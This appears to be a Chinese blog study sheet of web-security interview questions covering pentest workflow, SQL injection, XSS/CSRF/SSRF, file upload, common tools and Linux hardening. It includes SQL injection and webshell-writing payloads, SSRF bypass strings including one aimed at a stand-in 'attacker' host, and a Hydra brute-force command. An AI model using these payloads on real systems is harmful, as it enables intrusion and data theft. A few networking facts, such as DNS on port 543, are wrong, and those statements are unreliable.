精华内容
下载资源
问答
  • 为了应对校招,我有点心虚,所以花了几天时间整理了一些网安面试题 希望对大家能有所帮助(比较基础的漏洞原理和防护绕过就先过滤了–大家应该都耳熟能详了): 1、JWT(json web token)攻击手法(头部、负载、签名...

    前言

    这次花了大把精力一边学习一边整理网络安全服务职位(包括但不仅限于:安全服务工程师,安全运营工程师,安全运维工程师,安全攻防工程师“)的面试问题。

    话不多说,让我们一起学习吧

    目前来说还有非常多的不严谨和冗余,恳请小伙伴们指正修改!

    owasp 漏洞都有哪些?

    1、SQL注入防护方法:
    2、失效的身份认证和会话管理
    3、跨站脚本攻击XSS
    4、直接引用不安全的对象
    5、安全配置错误
    6、敏感信息泄露
    7、缺少功能级的访问控制
    8、跨站请求伪造CSRF
    9、使用含有已知漏洞的组件
    10、未验证的重定向和转发

    常见的Web安全漏洞

    • SQL注入
    • XSS
    • 文件遍历、文件上传、文件下载
    • 垂直越权、水平越权
    • 逻辑漏洞

    首先对于新人来说,大多数同学都是没有实战经验的,对应面试官提问聊聊你的渗透测试实战,但很多人却无从开口。
    小伙伴们可以阅读如下文章进行构思编撰实战经历(狗头):
    记一次渗透测试实战


    渗透测试流程相关

    给你一个网站你是如何来渗透测试的?

    在获取书面授权的前提下。
    1)信息收集,
    1,获取域名的whois信息,获取注册者邮箱姓名电话等。
    2,查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。
    3,查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞
    4,查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等
    5,扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针
    6,google hack 进一步探测网站的信息,后台,敏感文件

    2)漏洞扫描
    开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,
    远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等
    3)漏洞利用
    利用以上的方式拿到webshell,或者其他权限
    4)权限提升
    提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,
    linux藏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权
    5) 日志清理
    6)总结报告及修复方案

    渗透测试流程

    1. 项目访谈
    2. 信息收集:whois、网站源IP、旁站、C段网站、服务器系统版本、容器版本、程序版本、数据库类型、二级域名、防火墙、维护者信息
    3. 漏洞扫描:Nessus, AWVS
    4. 手动挖掘:逻辑漏洞
    5. 验证漏洞
    6. 修复建议
    7. (如果有)基线检查/复验漏洞
    8. 输出报告
      • 概述
      • 测试基本信息
        • 测试范围
        • 测试时间
        • 测试任务
        • 测试过程
      • 信息安全风险综合分析
        • 整体风险分析
        • 风险影响分析
        • 系统安全分析
        • 安全漏洞列表
      • 解决方案建议
      • 复测报告

    SQL面试题

    SQL注入类型

    1. 基于报错注入
    2. 基于布尔的注入,根据返回页面判断条件真假的注入
    3. 基于时间的盲注,不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
    4. 宽字节注入
    5. 联合查询,可以使用 union 的情况下的注入。
    6. 堆查询注入,可以同时执行多条语句的执行时的注入。

    SQL注入的原理

    通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。通常未经检查或者未经充分检查的用户输入数据或代码编写问题,意外变成了代码被执行。

    如何进行SQL注入的防御

    1. 关闭应用的错误提示

    2. 加waf

    3. 对输入进行过滤

    4. 限制输入长度

    5. 限制好数据库权限,drop/create/truncate等权限谨慎grant

    6. 预编译好sql语句,python和Php中一般使用?作为占位符。这种方法是从编程框架方面解决利用占位符参数的sql注入,只能说一定程度上防止注入。还有缓存溢出、终止字符等。

    7. 数据库信息加密安全(引导到密码学方面)。不采用md5因为有彩虹表,一般是一次md5后加盐再md5

    8. 清晰的编程规范,结对/自动化代码 review ,加大量现成的解决方案(PreparedStatement,ActiveRecord,歧义字符过滤, 只可访问存储过程 balabala)已经让 SQL 注入的风险变得非常低了。

    9. 具体的语言如何进行防注入,采用什么安全框架

    作者:没啥意思
    链接:https://www.zhihu.com/question/22953267/answer/23222069
    来源:知乎

    SQL注入问题既不能“靠用户(开发者也是用户)的自觉去避免”,也不能完全脱离用户(开发者也是用户)而指望数据库层面去避免。对于那些不了解SQL注入漏洞细节或不关心SQL注入漏洞或没精力去关心SQL注入漏洞的工程师,你要给他们一条尽可能简单可行透明的方案来避免SQL注入漏洞,告诉他这样写就可以了,这就是安全框架;然后告诉他或者让他的老大告诉他你必须这样写,这就是安全编码规范;然后你有手段在他没有这样写的时候能够检查出来(这比检查出漏洞要容易)并推动他改正,这就是白盒检查。

    我们现在的互联网产品SQL注入漏洞仍然层出不穷,并不是这套思路有问题,相反恰恰是这套思路没有完善。一方面是框架方案本身不完善,以SQL注入漏洞为例,参数化是防SQL注入框架级方案的重要部分,但仅靠参数化没法很好满足开发过程中一些常见需求,如逗号分割的id列表问题、排序标记的问题等等(其实这些问题真要用参数化的方案解决也可以),使得开发更愿意在这些地方使用非参数化或伪参数化的方法(比如拼接SQL片段后再把整个片段当作参数扔进去exec)。这些问题在参数化的基础上,再加以改进,仍然守着拼接SQL片段时进行强类型转换的思路,仍然是能很好解决的,也就是继续完善参数化方案的问题,而不是看上去那样“参数化解决不了问题”。另一方面,安全编码规范的制定、培训、流程建设和实施保证上也做得远远不到位,开发leader们更希望后面的数据库或者前面的安全防御上能有手段去解决SQL注入问题,对于安全工程师来说,设置并维护几个特征串、语法分析场景也远比做那些安全框架、编码规范、白盒扫描来得要轻松实在,彼此在心照不宣中度过今天,自然不能指望明天能彻底踏实。


    sqlmap,怎么对一个注入点注入?

    1)如果是get型号,直接,sqlmap -u “诸如点网址”.
    2) 如果是post型诸如点,可以sqlmap -u "注入点网址” --data=“post的参数”
    3)如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用*号替换,放到文件里,然后sqlmap -r “文件地址”

    mysql的网站注入,5.0以上和5.0以下有什么区别?

    10年前就出了5.0,现在都到5.7了,没啥意义的问题

    • 5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。
    • 5.0以下是多用户单操作,5.0以上是多用户多操做。

    MySQL存储引擎?

    1. InnoDB:主流的存储引擎。支持事务、支持行锁、支持非锁定读、支持外键约束
    • 为MySQL提供了具有提交、回滚和崩溃恢复能力的事物安全(ACID兼容)存储引擎。InnoDB锁定在行级并且也在 SELECT语句中提供一个类似Oracle的非锁定读。这些功能增加了多用户部署和性能。在SQL查询中,可以自由地将InnoDB类型的表和其他MySQL的表类型混合起来,甚至在同一个查询中也可以混合
    • InnoDB存储引擎为在主内存中缓存数据和索引而维持它自己的缓冲池。InnoDB将它的表和索引在一个逻辑表空间中,表空间可以包含数个文件(或原始磁盘文件)。这与MyISAM表不同,比如在MyISAM表中每个表被存放在分离的文件中。InnoDB表可以是任何尺寸,即使在文 件尺寸被限制为2GB的操作系统上
    • InnoDB支持外键完整性约束,存储表中的数据时,每张表的存储都按主键顺序存放,如果没有显示在表定义时指定主键,InnoDB会为每一行生成一个6字节的ROWID,并以此作为主键
    1. MyISAM:访问速度快,不支持事务,逐渐被淘汰
    2. MEMORY:BTREE索引或者HASH索引。将表中数据放在内存中,并发性能差。information_schema用的是该引擎
    3. MERGE、Archive等等不常用的

    什么是事务?

    事务是一组原子性的SQL语句或者说是一个独立的工作单元,如果数据库引擎能够成功对数据库应用这组SQL语句,那么就执行,如果其中有任何一条语句因为崩溃或其它原因无法执行,那么所有的语句都不会执行。也就是说,事务内的语句,要么全部执行成功,要么全部执行失败。
    举个银行应用的典型例子:

    假设银行的数据库有两张表:支票表和储蓄表,现在某个客户A要从其支票账户转移2000元到其储蓄账户,那么至少需求三个步骤:

    a.检查A的支票账户余额高于2000元;

    b.从A的支票账户余额中减去2000元;

    c.在A的储蓄账户余额中增加2000元。

    这三个步骤必须要打包在一个事务中,任何一个步骤失败,则必须要回滚所有的步骤,否则A作为银行的客户就可能要莫名损失2000元,就出问题了。这就是一个典型的事务,这个事务是不可分割的最小工作单元,整个事务中的所有操作要么全部提交成功,要么全部失败回滚,不可能只执行其中一部分,这也是事务的原子性特征。

    读锁和写锁

    读锁是共享的,即相互不阻塞的,多个客户在同一时刻可以读取同一资源,互不干扰。写锁是排他的,即一个写锁会阻塞其它的写锁和读锁,只有这样,才能确保给定时间内,只有一个用户能执行写入,防止其它用户读取正在写入的同一资源。写锁优先级高于读锁。

    MySQL的索引

    索引是帮助MySQL高效获取数据的数据结构。MYISAM和InnoDB存储引擎只支持BTree索引;MEMORY和HEAP储存引擎可以支持HASH和BTREE索引。

    ORDER BY在注入的运用

    order by后面可以加字段名,表达式和字段的位置,字段的位置需要是整数型。

    GPC是什么?GPC之后怎么绕过?

    如果magic_quotes_gpc=On,PHP解析器就会自动为post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符(认为是php的字符)引起的污染。

    Mysql一个@和两个@什么区别

    • @为用户变量,使用SET @var1=1赋值
    • @@ 为系统变量 ,包括全局变量show global variables \G;和会话变量show session variables \G;

    注入/绕过常用的函数

    1. 基于布尔SQL盲注
      • left(database(),1)>'s'
      • ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+
      • ascii(substr((select database()),1,1))=98
      • ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23
      • regexp正则注入 select user() regexp '^[a-z]';
      • select user() like 'ro%'
    2. 基于报错的SQL盲注
      1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】
      2)通过floor报错 向下取整
      3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
      4).geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
      5).multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
      6).polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
      7).multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
      8).linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
      9).multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
      10).exp()select * from test where id=1 and exp(~(select * from(select user())a));
    3. 延时注入如何来判断?
      if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

    盲注和延时注入的共同点?

    都是一个字符一个字符的判断

    如何拿一个网站的webshell?

    上传,后台编辑模板,sql注入写文件,命令执行,代码执行,
    一些已经爆出的cms漏洞,比如dedecms后台可以直接建立脚本文件,wordpress上传插件包含脚本文件zip压缩包等

    sql注入写文件都有哪些函数?

    select ‘一句话’ into outfile ‘路径’
    select ‘一句话’ into dumpfile ‘路径’
    select ‘<?php eval($_POST[1]) ?>’ into dumpfile ‘d:\wwwroot\baidu.com\nvhack.php’;

    各种写shell的问题

    1. 写shell用什么函数?
      • select '<?php phpinfo()> into outfile 'D:/shelltest.php'
      • dumpfile
      • file_put_contents
    2. outfile不能用了怎么办? select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';可以UDF提权 https://www.cnblogs.com/milantgh/p/5444398.html
    3. dumpfile和outfile有什么不一样?outfile适合导库,在行末尾会写入新行并转义,因此不能写入二进制可执行文件。
    4. sleep()能不能写shell?
    5. 写shell的条件?
      • 用户权限
      • 目录读写权限
      • 防止命令执行:disable_functions,禁止了disable_functions=phpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,但是可以用dl扩展执行命令或者ImageMagick漏洞 https://www.waitalone.cn/imagemagic-bypass-disable_function.html
      • open_basedir: 将用户可操作的文件限制在某目录下

    sql注入写文件都有哪些函数?

    select ‘一句话’ into outfile ‘路径’
    select ‘一句话’ into dumpfile ‘路径’
    select ‘<?php eval($_POST[1]) ?>’ into dumpfile ‘d:\wwwroot\baidu.com\nvhack.php’;

    sql二次注入

    第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。
    在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。

    交友网站,填写年龄处是一个注入点,页面会显示出与你相同年龄的用户有几个。使用and 1=1确定注入点,用order by探测列数,union select探测输出点是第几列,

    1. 暴库 group_concat(schema_name) from information_schema.schemata
    2. 暴表 group_concat(table_name) from information_schema.schemata where table_schema='hhh'
    3. 获取数据 concat(flag) from flag

    修复:在从数据库或文件中取数据的时候,也要进行转义或者过滤。

    SQL和NoSQL的区别

    SQL关系型数据库,NoSQL(Not only SQL)非关系型数据库

    SQL优点

    关系型数据库是指用关系数学模型来表示的数据,其中是以二维表的形式描述数据。

    1. 结构稳定,不易修改,常用联表查询
    2. 查询能力高,可以操作很复杂的查询
    3. 一致性高,处理数据会使用封锁保证数据不被改变
    4. 表具有逻辑性,易于理解

    SQL缺点

    1. 不适用高并发读写
    2. 不适用海量数据高效读写
    3. 层次多,扩展性低
    4. 维护一致性开销大
    5. 涉及联表查询,复杂,慢

    NoSQL优点

    采用键值对存储数据

    1. 由于数据之间没有关系,所以易扩展,也易于查询
    2. 数据结构灵活,每个数据都可以有不同的结构
    3. 由于降低了一致性的要求,所以查询速度更快

    比较

    非关系型数据库的产生是因为随着网站的进化,并发性增加,扩展性高,一致性要求降低。这样关系型数据库最重要的一致性维护就显得有点多余,并且消耗着性能。因此有了非关系型数据库,它可以算是关系型数据库的一种弱化的结果,在海量数据存储和查询上更胜一筹。

    两种数据库没有好坏之分,只是使用的环境不一样。关系型数据库可以说是更严谨的,可靠性更强的数据库,在对于数据精度要求高的环境,比如说银行系统这样自然是像mysql这样的数据库适合。非关系型数据库胜在处理大数据的速度,但是对于数据的准确度没有那么高,对于操作量大的环境比如当前大部分web2.0的网站更加适用一些。

    MongoDB注入方式

    利用正则:找到y开头的name db.items.find({name: {$regex: "^y"}})

    一些payload

    1. ?login[$regex]=^&password[$regex]=^
    2. ?login[$not][$type]=1&password[$not][$type]=1

    XSS CSRF XXE SSRF

    CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?

    xss学习 https://www.secpulse.com/?s=+%E9%82%A3%E4%BA%9B%E5%B9%B4%E6%88%91%E4%BB%AC%E4%B8%80%E8%B5%B7%E5%AD%A6XSS+

    XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。

    CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer.

    XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。

    如何防止CSRF?

    1,验证referer
    2,验证token
    详细:浅谈cnode社区如何防止csrf攻击 - CNode技术社区

    CSRF、SSRF和重放攻击有什么区别?

    • CSRF是跨站请求伪造攻击,由客户端发起
    • SSRF是服务器端请求伪造,由服务器发起
    • 重放攻击是将截获的数据包进行重放,达到身份认证等目的

    啥是同源策略,跨域有几种方式?

    http://www.ruanyifeng.com/blog/2016/04/same-origin-policy.html

    浏览器安全的基石是"同源政策",目的是为了保证用户的信息安全,防止恶意网站窃取数据,避免cookie共享。同源含义是协议、域名、端口相同的两个网页才可以共用cookie。目前如果非同源,有三种行为收到限制:
    - Cookie、LocalStorage 和 IndexDB 无法读取。
    - DOM 无法获得。
    - AJAX 请求不能发送

    如何规避同源策略?

    JSONP

    向服务器请求json数据回调,一般请求URL会加上&callback=xx

    foo({
      "ip": "8.8.8.8"
    });
    

    由于<script>元素请求的脚本,直接作为代码运行。这时,只要浏览器定义了foo函数,该函数就会立即调用。作为参数的JSON数据被视为JavaScript对象,而不是字符串,因此避免了使用JSON.parse的步骤。

    JSONP的劫持

    http://blog.knownsec.com/2015/03/jsonp_security_technic/

    防御:

    1. 验证 JSON 文件调用的来源( Referer ),但是Referer 过滤(正则)不严谨、空 Referer也不行
    2. 随机token

    WebSocket

    WebSocket是一种通信协议,使用ws://(非加密)和wss://(加密)作为协议前缀。该协议不实行同源政策,只要服务器支持,就可以通过它进行跨源通信。

    CORS(重点)

    http://www.ruanyifeng.com/blog/2016/04/cors.html

    CORS是跨源资源分享(Cross-Origin Resource Sharing)的缩写。它是W3C标准,是跨源AJAX请求的根本解决方法。相比JSONP只能发GET请求,CORS允许任何类型的请求。
    CORS请求大致和ajax请求,但是在头信息中加上了Origin字段表明请求来自哪个源。如果orgin是许可范围之内的话,服务器返回的响应会多出Acess-Control-Allow-*的字段

    与JSONP的比较

    CORS与JSONP的使用目的相同,但是比JSONP更强大。

    JSONP只支持GET请求,CORS支持所有类型的HTTP请求。JSONP的优势在于支持老式浏览器,以及可以向不支持CORS的网站请求数据。

    DOM XSS与反射XSS有啥不同,给你10s,如何快速判断一个XSS是否是DOM XSS?

    https://www.zhihu.com/question/26628342

    存储型XSS:你发送一次带XSS代码的请求,以后这个页面的返回包里都会有XSS代码;

    反射型XSS:你发送一次带XSS代码的请求,只能在当前返回的数据包中发现XSS代码;

    DOM型XSS:你发送一次带XSS代码的请求,在返回包里压根儿就找不到XSS代码的影子;

    CSP策略

    https://www.zhihu.com/question/21979782
    浏览器内容安全策略,减少xss攻击。

    SSRF漏洞原理是什么?利用时有哪些伪协议?

    secpulse.com/archives/65832.html

    漏洞原理

    利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。

    ssrf用处

    1. 探测内网信息,用协议探ftp%26ip={ip}%26port={port}
    2. 攻击内网或本地其他服务
    3. 穿透防火墙

    漏洞处

    1. 能够对外发起网络请求的地方
    2. 请求远程服务器资源的地方
    3. 数据库内置功能
    4. 邮件系统
    5. 文件处理
    6. 在线处理工具

    举几个例子:

    1. 在线识图,在线文档翻译,分享,订阅等,这些有的都会发起网络请求。
    2. 根据远程URL上传,静态资源图片等,这些会请求远程服务器的资源。
    3. 数据库的比如mongodb的copyDatabase函数,这点看猪猪侠讲的吧,没实践过。
    4. 邮件系统就是接收邮件服务器地址这些地方。
    5. 文件就找ImageMagick,xml这些。
    6. 从URL关键字中寻找,比如:source,share,link,src,imageurl,target等。

    绕过姿势

    1. http://example.com@127.0.0.1
    2. 利用IP地址的省略写法绕过,[::]绕过localhost
    3. DNS解析 http://127.0.0.1.xip.io/ 可以指向任意ip的域名:xip.io
    4. 利用八进制IP地址绕过,利用十六进制IP地址,绕过利用十进制的IP地址绕过

    利用协议

    https://www.secpulse.com/archives/70471.html

    接受ua为curl的时候,支持的协议有

    使用curl -v http://xx.com/ssrf.php?url=sxxx

    file://
    ssrf.php?url=file:///etc/password
    Dict://
    dict://<user-auth>@<host>:<port>/d:<word>
    ssrf.php?url=dict://attacker:11111/
    SFTP://
    ssrf.php?url=sftp://example.com:11111/
    TFTP://
    ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
    LDAP://
    ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
    Gopher://
    

    漏洞修复

    https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html

    1. 检查是否为内网IP地址
      绕过方法:
      利用八进制IP地址绕过
      利用十六进制IP地址绕过
      利用十进制的IP地址绕过
      利用IP地址的省略写法绕过
      最好的做法:IP地址转换为整数再进行判断

    2. 获取真正请求的host

      1. 如何正确的获取用户输入的URL的Host?
        最常见的就是,使用http://233.233.233.233@10.0.0.1:8080/、http://10.0.0.1#233.233.233.233这样的URL,让后端认为其Host是233.233.233.233,实际上请求的却是10.0.0.1。这种方法利用的是程序员对URL解析的错误,有很多程序员甚至会用正则去解析URL。使用urllib.parse可以解析真正的hostname

      2. 只要Host只要不是内网IP即可吗?
        host可能为ip,可能为域名,利用xip.io绕过。方法:判断是否为http协议,获取url的host,再解析该host,将解析到的ip再进行检查

      3. 只要Host指向的IP不是内网IP即可吗?
        不一定,可能会30x跳转

    归纳
    解析目标URL,获取其Host
    解析Host,获取Host指向的IP地址
    检查IP地址是否为内网IP
    请求URL
    如果有跳转,拿出跳转URL,执行1

    在浏览器端,Referer可以篡改吗?

    通过插件修改,一般抓包修改

    xss盲打到内网服务器的利用

    xss代码层防御


    文件上传 文件包含漏洞

    文件上传漏洞原理

    由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致用户可以越过其本身权限向服务器上传可执行的动态脚本文件

    常见的上传绕过方式

    1. 前端js验证:禁用js/burp改包
    2. 大小写
    3. 双重后缀名
    4. 过滤绕过 pphphp->php
    5. 防护
    6. 文件上传目录设置为不可执行
    7. 使用白名单判断文件上传类型 用随机数改写文件名和路径

    审查上传点的元素有什么意义?

    有些站点的上传文件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了。

    文件包含原理

    引入一段用户能控制的脚本或代码,并让服务器端执行 (1)include等函数通过动态变量的方式引入需要包含的文件; (2)用户能够控制该动态变量。

    类型

    1. 本地文件包含
    2. 远程文件包含 :即加载远程文件,在php.ini中开启allow_url_includeallow_url_fopen选项。开启后可以直接执行任意代码。

    PHP文件包含函数

    1. include() :使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。

    2. inclue_once() :功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

    3. require():使用此函数,只要程序执行,立即调用此函数包含文件,发生错误时,会输出错误信息并立即终止程序。

    4. require_once() :功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

    本地文件包含

    能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞


    你常用的渗透工具有哪些,最常用的是哪个?

    扫描:Nessus,AWVS,Nikto

    SQLmap

    https://blog.csdn.net/ski_12/article/details/58188331

    常用参数

    -u 单个URL -m xx.txt 多个URL
    -d "mysql://user:password@10.10.10.137:3306/dvwa"  作为服务器客户端,直接连接数据库
    --data post/get都适用
    -p 指定扫描的参数
    -r 读取文件
    -f 指纹信息
    --tamper 混淆脚本,用于应用层过滤
    --cookie --user-agent --host等等http头的修改
    --threads 并发线程 默认为1
    --dbms MySQL<5.0> 指定数据库或版本
    
    –level=LEVEL 执行测试的等级(1-5,默认为 1)
    –risk=RISK 执行测试的风险(0-3,默认为 1) Risk升高可造成数据被篡改等风险
    –current-db / 获取当前数据库名称
    –dbs 枚举数据库管理系统数据库
    –tables 枚举 DBMS 数据库中的表
    –columns 枚举 DBMS 数据库表列
    -D DB 要进行枚举的数据库名
    -T TBL 要进行枚举的数据库表
    -C COL 要进行枚举的数据库列
    -U USER 用来进行枚举的数据库用户
    
    

    常用的tamper

    本地:sqlmap-tamper分类.xlsx

    base64encode.py #转为b64编码
    charencode.py url编码
    chardoubleencode.py 双URL编码
    unmagicquotes.py 宽字节
    randomcomments.py 用/**/分割SQL关键字
    space2plus.py space2comment.py space2xxxx.py 替换空格为xx
    

    Nmap

    nmap hostname/ip或者多个ip或者子网192.168.123.*
    -iL ip.txt 扫描ip.txt的所有ip
    -A 包含了-sV,-O,探测操作系统信息和路由跟踪。一般不用,是激烈扫描
    -O 探测操作系统信息
    -sV 查找主机服务版本号
    -sA 探测该主机是否使用了包过滤器或防火墙
    -sS 半开扫描,一般不会记入日志,不过需要root权限。
    -sT TCP connect()扫描,这种方式会在目标主机的日志中记录大批的链接请求以及错误信息。
    -sP ping扫描,加上这个参数会使用ping扫描,只有主机存活,nmap才会继续扫描,一般最好不加,因为有的主机会禁止ping,却实际存在。
    -sN TCP空扫描
    -F 快速扫描
    -Pn 扫描之前不使用ping,适用于防火墙禁止ping,比较有用。
    -p 指定端口/端口范围
    -oN 将报告写入文件
    -v 详细信息
    -T<0-5> 设定速度
    

    Nmap还可以用到爆破等一些脚本

    --script all 使用所有脚本
    --script=sql.injection.nse sql注入
    --script="smb*"  扫smb系列
    

    Metasploit

    使用内置模块。HR:常用的模块有哪些?
    tcp反向链接 msfvenom

    Hydra

    密码爆破工具,FTP,MSSQL,MYSQL,POP3,SSH,rdp,

    hydra IP -l loginname -P pass.txt PROTROCL
    hydra 127.0.0.1 -l root -P pass.txt ssh
    

    kali信息收集工具

    • dig
    • whois
    • host:查询dns服务器
    • nslookup
    • 域名枚举:fierse -dns
    • maltego
    • onesixtyone

    流量分析WireShark


    HTTP协议

    TCP三次握手四次挥手

    三次握手

    1. 客户端 syn 发送到服务端,变成 SYN_SENT 状态
    2. 服务端 ack=syn+1 回传syn到客户端,变成SYN_RECV状态
    3. 客户端 ack=syn+1, 变成ESTABLISHED状态,传输给服务端
    4. 服务端收到ACK后变成ESTABLISHED状态,建立连接

    SYN标志位为表示请求连接,ACK表示确认

    四次挥手

    客户端=主动关闭方

    1. 客户端FIN->服务端
    2. 服务端ACK=FIN+1->客户端,服务端到客户端的连接关闭
    3. 服务端FIN->客户端
    4. 客户端ACK=FIN+1->服务端

    假设Client端发起中断连接请求,也就是发送FIN报文。Server端接到FIN报文后,意思是说"我Client端没有数据要发给你了",但是如果你还有数据没有发送完成,则不必急着关闭Socket,可以继续发送数据。所以你先发送ACK,“告诉Client端,你的请求我收到了,但是我还没准备好,请继续你等我的消息”。这个时候Client端就进入FIN_WAIT状态,继续等待Server端的FIN报文。当Server端确定数据已发送完成,则向Client端发送FIN报文,“告诉Client端,好了,我这边数据发完了,准备好关闭连接了”。Client端收到FIN报文后,"就知道可以关闭连接了,但是他还是不相信网络,怕Server端不知道要关闭,所以发送ACK后进入TIME_WAIT状态,如果Server端没有收到ACK则可以重传。“,Server端收到ACK后,“就知道可以断开连接了”。Client端等待了2MSL后依然没有收到回复,则证明Server端已正常关闭,那好,我Client端也可以关闭连接了。Ok,TCP连接就这样关闭了!

    MSL=最大段寿命=TTL=最大生存时间=255s

    四层模型

    1. 应用层
      应用层对应于OSI参考模型的高层,为用户提供所需要的各种服务,例如:FTP、Telnet、DNS、SMTP等.
    2. 传输层
      传输层对应于OSI参考模型的传输层,为应用层实体提供端到端的通信功能,保证了数据包的顺序传送及数据的完整性。该层定义了两个主要的协议:传输控制协议(TCP)和用户数据报协议(UDP).
      TCP协议提供的是一种可靠的、通过“三次握手”来连接的数据传输服务;而UDP协议提供的则是不保证可靠的(并不是不可靠)、无连接的数据传输服务.
    3. 网际互联层
      网际互联层对应于OSI参考模型的网络层,主要解决主机到主机的通信问题。它所包含的协议设计数据包在整个网络上的逻辑传输。注重重新赋予主机一个IP地址来完成对主机的寻址,它还负责数据包在多种网络中的路由。该层有三个主要协议:网际协议(IP)、互联网组管理协议(IGMP)和互联网控制报文协议(ICMP)。
      IP协议是网际互联层最重要的协议,它提供的是一个可靠、无连接的数据报传递服务。
    4. 网络接入层(即主机-网络层)
      网络接入层与OSI参考模型中的物理层和数据链路层相对应。它负责监视数据在主机和网络之间的交换。事实上,TCP/IP本身并未定义该层的协议,而由参与互连的各网络使用自己的物理层和数据链路层协议,然后与TCP/IP的网络接入层进行连接。地址解析协议(ARP)工作在此层,即OSI参考模型的数据链路层。

    当你输入一个网址,点击访问,会发生什么?

    查找DNS记录

    1. 查看浏览器缓存
    2. 查看系统缓存
    3. 查看路由器缓存
    4. 查找ISP DNS缓存
    5. 递归搜索。根据网址,发送一个DNS请求,UDP请求,端口为543,会请求一个DNS服务器,DNS服务器会不断递归查找这个网址的IP

    建立连接

    • 跟获取到的IP建立TCP连接,在TCP连接上发送HTTP报文

    Linux运维

    启动过程

    Linux基线规范

    每个公司有每个公司的基线规范体系,但是答题分为下列五个方面

    账号管理和授权

    • 检查特殊账号,是否存在空密码的账户和root权限账户
    • 禁用或删除无用账号
    • 添加口令策略:/etc/login.defs修改配置文件,设置过期时间、连续认证失败次数
    • 禁止root远程登录,限制root用户直接登录。
    • 检查su权限。vi /etc/pam.d/su添加auth required pam_wheel.so group=test

    服务

    • 关闭不必要的服务
    • SSH服务安全
      • 不允许root账号直接登录系统,PermitRootLogin=no
      • 修改SSH使用的协议版本为2
      • 修改允许密码错误次数(默认6次),MaxAuthTries=3

    文件系统

    • 设置umask值 vi /etc/profile 添加行 umask 027
    • 设置登录超时 vi /etc/profile 修改配置文件,将以 TMOUT= 开头的行注释,设置为 TMOUT=180

    日志

    • 启用syslogd日志,配置日志目录权限,或者设置日志服务器
    • 记录所有用户的登录和操作日志,通过脚本代码实现记录所有用户的登录操作日志,防止出现安全事件后无据可查。https://www.alibabacloud.com/help/zh/faq-detail/49809.htm

    IP协议安全要求

    • 远程登录取消telnet采用ssh
    • 设置/etc/hosts.allow和deny
    • 禁止ICMP重定向
    • 禁止源路由转发
    • 防ssh破解,iptables(对已经建立的所有链接都放行,限制每分钟连接ssh的次数)+denyhost(添加ip拒绝访问)

    中间件基线规范(APACHE)

    https://www.alibabacloud.com/help/zh/faq-detail/52981.htm

    配置

    • 账号
    • 授权
    • 日志
    • session过期时间(防ddos
    • 绑定监听地址

    禁止

    • 目录权限
    • 访问外部文件
    • CGI
    • 非法HTTP方法(PUT DELETE)

    隐藏

    • 服务版本号
    • 重定向错误页面

    删除

    • 配置文件
    • 默认安装的无用文件

    webshell检测思路

    https://blog.csdn.net/u011066706/article/details/51175971

    webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。

